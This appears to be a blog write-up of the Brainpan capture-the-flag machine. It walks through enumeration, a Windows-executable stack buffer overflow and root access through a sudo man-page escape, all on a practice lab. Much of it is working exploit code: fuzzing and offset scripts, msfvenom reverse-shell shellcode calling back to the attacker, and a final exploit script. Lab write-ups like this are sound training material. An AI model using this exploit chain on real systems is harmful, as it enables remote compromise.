Home TryHackMe/Vulnhub - Brainpan
Post
Cancel

TryHackMe/Vulnhub - Brainpan

Originally posted on Vulnhub by superkojiman, Brainpan is a vulnerable machine, highly recommended to complete before taking the OSCP exam due to the buffer overflow vulnerability that has to exploited.

The vulnerable program is a Windows executable.

We will analyze and exploit it from our Kali Linux machine.

Enumeration

nmap scan

nmap reveals two open ports:

1
2
3
4
5
6
7
$ nmap -min-rate 5000 --max-retries 1 -sV -oN brainpan.txt 10.10.92.146
Nmap scan report for 10.10.92.146
Host is up (0.037s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

I couldn’t figure out which OS is running on the target machine using nmap -O so I pinged it and I assumed it was a Linux server because of the TTL value (See default TTL (Time To Live) values of different OS):

1
2
3
4
5
6
7
8
9
$ ping -c3 10.10.92.146
PING 10.10.92.146 (10.10.92.146) 56(84) bytes of data.
64 bytes from 10.10.92.146: icmp_seq=1 ttl=63 time=37.7 ms
64 bytes from 10.10.92.146: icmp_seq=2 ttl=63 time=37.6 ms
64 bytes from 10.10.92.146: icmp_seq=3 ttl=63 time=37.2 ms

--- 10.10.92.146 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 37.203/37.503/37.704/0.216 ms

Port 9999 (Brainpan)

Desktop View

Port 10000 (SimpleHTTPServer)

Desktop View

dirb can help us to find a /bin directory on the web page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ dirb http://$TARGET:10000 -o services/10000-http.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: services/10000-http.txt
START_TIME: Sun Aug  1 18:09:55 2021
URL_BASE: http://10.10.92.146:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.92.146:10000/ ----
+ http://10.10.92.146:10000/bin (CODE:301|SIZE:0)                                                                                                          
+ http://10.10.92.146:10000/index.html (CODE:200|SIZE:215)
                                                                                                                                                            
-----------------
END_TIME: Sun Aug  1 18:15:39 2021
DOWNLOADED: 4612 - FOUND: 2

An executable called brainpan.exe can be downloaded from here:

Desktop View

Using file tells us this a 32-bit Windows program:

1
2
$ file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Exploitation

This executable is the same as the one on the port 9999 of the target machine.

In order to run it from our Kali Linux machine, we’ll be using wine:

Desktop View

Step 1: Fuzzing

The program is waiting for password from the user input.

During this first step called “fuzzing”, we’ll be sending a bunch of characters in order to crash the program. This will potentially reveals a buffer overflow vulnerability.

I used the following script to do so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
import time
import sys

buffer = b"A" * 100
target = '127.0.0.1'
port = 9999

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.send((b"                          >> " + buffer))
        s.close()
        time.sleep(1)
        buffer = buffer + b"A" * 100
    except:
        print(f"Fuzzing crashed at {len(buffer)} bytes...")
        sys.exit(1)

Desktop View

As we can see from the screenshots above, the program tried to access to the address 0x41414141 and crashed.

Desktop View

This means we successfully overwrite EIP and the program crashed after copying 529 bytes to the buffer. Since 0x41414141 is just the hexadecimal representation of 0xAAAA.

Desktop View

Step 2: Finding the offset

Now, we want to know: how much characters do we need at least to crash the program?

This amount is called the offset. In order to find it, we can rely on two Metasploit scripts (called pattern_create.rb and pattern_offset.rb) or simply go manually.

Method#1: pattern_create + pattern_offset

  • We create a pattern of 529 characters with pattern_create.rb:
1
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 529 > pattern.txt
  • We send this pattern to our wine local instance of brainpan.exe:
1
2
3
4
5
6
7
8
9
10
11
12
13
import socket
import time

target = '127.0.0.1'
port = 9999

with open("pattern.txt") as f:
    buffer = f.read().strip().encode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send((b"                          >> " + buffer))
s.close()
  • We inspect the value of EIP:

Desktop View

  • We give this value to pattern_offset.rb to compute the exact number of characters needed to crash the program:
1
2
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41357141
[*] Exact match at offset 495

Method#2: manually

Since I saw the message “529 bytes copied to buffer” on the debug console, I tried many values (525, 500, …) until I found 495 was the exact offset.

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket
import time
import sys

offset = 495
buffer = b"A" * offset + b"B" * 4
target = '127.0.0.1'
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send((b"                          >> " + buffer))
s.close()

By placing BBBB at the end of my payload, I thought: “I will find the offset after EIP’s value will be 42424242:

Desktop View

Step 3: Identifying bad characters (ollydbg)

In order to generate a shellcode that will work, we have to identify the bad characters first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket
import time
import sys

# \x00
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

offset = 495
buffer = b"A" * offset + b"B" * 4 + badchars
target = '127.0.0.1'
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send((b"                          >> " + buffer))
s.close()

To inspect the program’s memory I attached the brainpan process to ollydbg on my Kali machine as follows:

Desktop View

All the characters are here (there are no bad characters):

Desktop View

Step 4: Finding JMP ESP

Before continuing, we need to find a jmp esp instruction to redirect the execution flow at the start of our payload/shellcode.

Why JMP ESP instead of directly jumping into the stack?

Desktop View

Using ollydbg, I found the following address:

Desktop View

However, to ensure it was the correct address I ran brainpan.exe on a Windows VM and inspected it using Immunity Debugger and mona.py (as explained on this video):

Desktop View

The address I got was 0x311712F3.

Step 5: Generating shellcode

To generate a shellcode we can use msfvenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=$(vpnip) lport=4444 --format python --bad-chars "\x00" --var-name shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 550 bytes
shellcode =  b""
shellcode += b"\xba\x9d\x29\x7f\xfa\xdd\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x12\x31\x50\x12\x03\x50\x12"
shellcode += b"\x83\x75\xd5\x9d\x0f\xb4\xfd\x95\x13\xe5\x42"
shellcode += b"\x09\xbe\x0b\xcc\x4c\x8e\x6d\x03\x0e\x7c\x28"
shellcode += b"\x2b\x30\x4e\x4a\x02\x36\xa9\x22\x9f\xc3\x6a"
shellcode += b"\x21\xf7\xd1\x6c\x54\x54\x5f\x8d\xe6\x02\x0f"
shellcode += b"\x1f\x55\x78\xac\x16\xb8\xb3\x33\x7a\x52\x22"
shellcode += b"\x1b\x08\xca\xd2\x4c\xc1\x68\x4a\x1a\xfe\x3e"
shellcode += b"\xdf\x95\xe0\x0e\xd4\x68\x62"

Note: First I thought the target was a Windows machine and I used a windows/shell_reverse_tcp payload. Surprisingly, it worked and I got a Windows shell (Z:\home\puck>)…very weird! (need to figure out)

Step 6: Writing final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import pwn

shellcode =  b""
shellcode += b"\xba\x9d\x29\x7f\xfa\xdd\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x12\x31\x50\x12\x03\x50\x12"
shellcode += b"\x83\x75\xd5\x9d\x0f\xb4\xfd\x95\x13\xe5\x42"
shellcode += b"\x09\xbe\x0b\xcc\x4c\x8e\x6d\x03\x0e\x7c\x28"
shellcode += b"\x2b\x30\x4e\x4a\x02\x36\xa9\x22\x9f\xc3\x6a"
shellcode += b"\x21\xf7\xd1\x6c\x54\x54\x5f\x8d\xe6\x02\x0f"
shellcode += b"\x1f\x55\x78\xac\x16\xb8\xb3\x33\x7a\x52\x22"
shellcode += b"\x1b\x08\xca\xd2\x4c\xc1\x68\x4a\x1a\xfe\x3e"
shellcode += b"\xdf\x95\xe0\x0e\xd4\x68\x62"

jmp_esp = 0x311712F3 #0x7BCCE5D9
offset = 495
buffer = b"A" * offset + pwn.p32(jmp_esp) + b"\x90" * 32 + shellcode

target = '10.10.92.146'
#target = '127.0.0.1'
port = 9999

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send((b"                          >> " + buffer))
    s.close()
except:
    print(f"Error connecting to the server...")

And we got a shell as puck:

Desktop View


Privesc

Upgrade shell

Desktop View

Inspecting /home

Desktop View

Desktop View

Upload Linpeas

Desktop View

Desktop View

Desktop View

Desktop View

Desktop View

With the program that we can run with sudo, we can open manual pages.

The program certainly rely on the man command so I looked for GTFOBins man and this is what I found:

Desktop View

Indeed, it worked, we own root:

Desktop View

Desktop View


Useful resources

This post is licensed under 0x3n0 by the author.

Sweettooth Inc Writeup

TryHackMe - Brainstorm